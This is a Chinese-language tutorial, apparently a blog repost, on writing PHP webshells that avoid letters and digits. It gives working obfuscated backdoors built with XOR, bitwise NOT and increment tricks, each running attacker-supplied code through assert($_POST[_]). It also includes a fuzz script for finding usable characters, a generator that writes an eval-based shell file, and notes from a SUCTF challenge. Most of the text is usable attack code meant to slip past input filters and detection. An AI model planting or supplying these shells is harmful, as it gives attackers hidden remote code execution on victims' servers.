小编给大家分享一下如何实现不包含数字字母的WebShell,希望大家阅读完这篇文章之后都有所收获,下面让我们一起去探讨吧!
一、使用异或 ^
运算
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
这个马是不能直接用的,因为代码中的url编码其实对应的是一个不可打印的特殊字符,这里只是为了显示程序方便,作者用url编码来取代,实际上木马应该是下面这个样子:
或者你还可以按照如下两种形式修改木马,使得木马可以运行。
<?php
$_=(chr(0x01)^'`').(chr(0x13)^'`').(chr(0x13)^'`').(chr(0x05)^'`').(chr(0x12)^'`').(chr(0x14)^'`');
$__='_'.(chr(0x0D)^']').(chr(0x2F)^'`').(chr(0x0E)^']').(chr(0x09)^']');
$___=$$__;
$_($___[_]);// assert($_POST[_]);
?>
<?php
$_=(urldecode('%01')^'`').(urldecode('%13')^'`').(urldecode('%13')^'`').(urldecode('%05')^'`').(urldecode('%12')^'`').(urldecode('%14')^'`');
$__='_'.(urldecode('%0D')^']').(urldecode('%2F')^'`').(urldecode('%0E')^']').(urldecode('%09')^']');
$___=$$__;
$_($___[_]);// assert($_POST[_]);
?>
二、使用取反 ~
运算
<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
$_=$$_____;
$____($_[_]);// assert($_POST[_]);
前两天的SUCTF就考察了这个,但是需要对代码稍作修改。原题目可以写入特殊字符只有: ~ $ _ ; = ( )
,修改如下:(PS:代码由 Wfox
师傅fuzz出来,也是参考P牛的文章 )
<?php
$__=[];
$___=[];
$_=$__==$___;
$__=~(瞰);
$___=$__[$_];
$__=~(北);
$___.=$__[$_].$__[$_];
$__=~(的);
$___.=$__[$_];
$__=~(半);
$___.=$__[$_];
$__=~(拾);
$___.=$__[$_];
$____=~(~(_));
$__=~(说);
$____.=$__[$_];
$__=~(小);
$____.=$__[$_];
$__=~(次);
$____.=$__[$_];
$__=~(站);
$____.=$__[$_];
$_=$$____;
$___($_[_]);// assert($_POST[_]);
fuzz脚本如下:
<?php
$charset = '"';
for ($i=0; $i < 65536; $i++) {
$charset .= sprintf("\u%04s",dechex($i).''); //生成 \u0000 - \uffff 字符集
}
$charset = json_decode($charset.'"');
//json_decode解码格式:json_decode('"xxxxxxxx"')
header('Content-Type: text/html; charset=utf-8');
for ($i=0; $i < mb_strlen($charset,'utf-8'); $i++) {
$st = mb_substr($charset, $i,1,'utf-8');
$a = ~($st);
$b = $a[1];
echo $st.' '.$b.'<br>';
}
?>
赛后官方也提供了WP,PHP中使用按位取反(~)函数创建后门 。按照这篇文章,没有成功生成可用的shell,于是我又参考了另外一篇文章 Deformity PHP Webshell、Webshell Hidden Learning ,生成脚本如下:
# generate.php 运行该程序,生成木马shell.php, assert('eval($_POST[_])');
<?php
file_put_contents('yihuo.php', '<?php $_=~'.(~'assert').';$__=~'.(~'eval($_POST[_])').';$_($__);?>')
?>
三、使用自增运算 ++
<?php
@$_=[].'';
@$___=$_[''];
$_=$___;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;
$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;
$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;
@$___($_[_]);// assert($_POST[_]);
?>
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